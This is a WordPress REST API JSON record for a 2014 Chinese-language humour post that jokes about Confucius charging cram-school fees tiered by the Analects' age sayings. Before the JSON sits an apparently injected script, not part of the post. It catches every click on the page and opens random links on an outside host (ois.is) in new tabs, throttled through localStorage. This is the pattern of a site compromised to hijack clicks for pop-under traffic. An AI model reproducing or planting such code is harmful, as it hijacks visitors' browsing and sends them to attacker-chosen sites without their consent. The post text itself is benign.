<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":397,"date":"2014-05-11T01:05:02","date_gmt":"2014-05-10T17:05:02","guid":{"rendered":"http:\/\/edu.secda.info\/phil999\/?p=397"},"modified":"2016-03-11T16:01:39","modified_gmt":"2016-03-11T08:01:39","slug":"%e8%81%8c%e6%b6%af%e8%a7%84%e5%88%92","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/phil999\/?p=397","title":{"rendered":"\u5b54\u5b50\u7684\u88dc\u7fd2\u8cbb"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">\u5b54\u5b50\u7684\u88dc\u7fd2\u8cbb<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7531\u65bc\u8003\u8a66\u5236\ufa01\u4f7f\u7136\uff0c\u88dc\u7fd2\u6559\u80b2\u6210\u70ba\u83ef\u4eba\u5e73\u5e38\u6c42\u5b78\u7684\u904e\u7a0b\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5982\u679c\u56de\u5230\uf98c\u53f2\uff0c\u5c07\u6703\u767c\u73fe\uff0c<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u81f3\u8056\u5148\u5e2b\u5b54\u5b50\u5176\u5be6\u662f\u4e16\u754c\u7b2c\u4e00\u500b\u958b\u88dc\u7fd2\u73ed\u7684\u4eba\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u4ed6\uf967\u50c5\u6709\u6559\u7121\uf9d0\uff0c\uf99a\u88dc\u7fd2\u8cbb\u600e\u9ebc\u7b97\uff1f<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5b78\u751f\u53ef\u4eab\u53d7\uf9fd\u9ebc\ufa1b\uf9dd\uff0c\ufa26\u6709\u660e\u78ba\u7684\u898f\u5b9a\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5b54\u5b50\u7684\u88dc\u7fd2\u6536\u8cbb\u5982\u4e0b\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> [ \u4e09\u5341\u800c\uf9f7 ]\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7e73\u4e09\u5341\uf978\u8005\uff0c\u53ea\u80fd\u7ad9\u8457\u807d\u8ab2\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> [ \u56db\u5341\u800c\uf967\u60d1 ]\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7e73\u56db\u5341\uf978\u8005\u53ef\u4ee5\u767c\u554f\uff0c\u76f4\u5230\u4f60\u6c92\u6709\u7591\u554f\u70ba\u6b62\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> [ \u4e94\u5341\u800c\u77e5\u5929\u547d ]\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7e73\u4e94\u5341\uf978\u8005\uff0c\u53ef\u4ee5\u77e5\u9053\u660e\u5929\u5c0f\u8003\u547d\u984c\u7684\u984c\u76ee\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> [ \uf9d1\u5341\u800c\u8033\u9806 ]\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7e73\uf9d1\u5341\uf978\u8005\uff0c\u8003\u8a66\u6642\uff0c\uf934\u5e2b\u53ef\u4ee5\u5728\u4f60\u8033\u908a\u63d0\u9192\u7b54\u6848\uff0c\u76f4\u5230\u8003\u9806\u624b<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u70ba\u6b62\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> [ \u4e03\u5341\u800c \u5f9e\u5fc3\u6240\u6b32 ]\uff1a<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7e73\u4e03\u5341\uf978\u8005\uff0c\u4e0a\u8ab2\u8981\u8eba\u3001\u8981\u5750\uff0c\u6216\uf92d\u3001\u6216\uf967\uf92d\u4e0a\u8ab2\uff0c\u96a8\uf965\u4f60\u3002<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u54c8\u54c8\u54c8!<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5b54\u5b50\u7684\u88dc\u7fd2\u8cbb \u7531\u65bc\u8003\u8a66\u5236\ufa01\u4f7f\u7136\uff0c\u88dc\u7fd2\u6559\u80b2\u6210\u70ba\u83ef\u4eba\u5e73\u5e38\u6c42\u5b78\u7684\u904e\u7a0b\u3002 \u5982\u679c\u56de\u5230\uf98c\u53f2\uff0c\u5c07\u6703\u767c\u73fe\uff0c \u81f3\u8056\u5148\u5e2b\u5b54\u5b50\u5176\u5be6\u662f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":""},"categories":[1,31,6],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/397"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=397"}],"version-history":[{"count":13,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/397\/revisions"}],"predecessor-version":[{"id":1039,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/397\/revisions\/1039"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}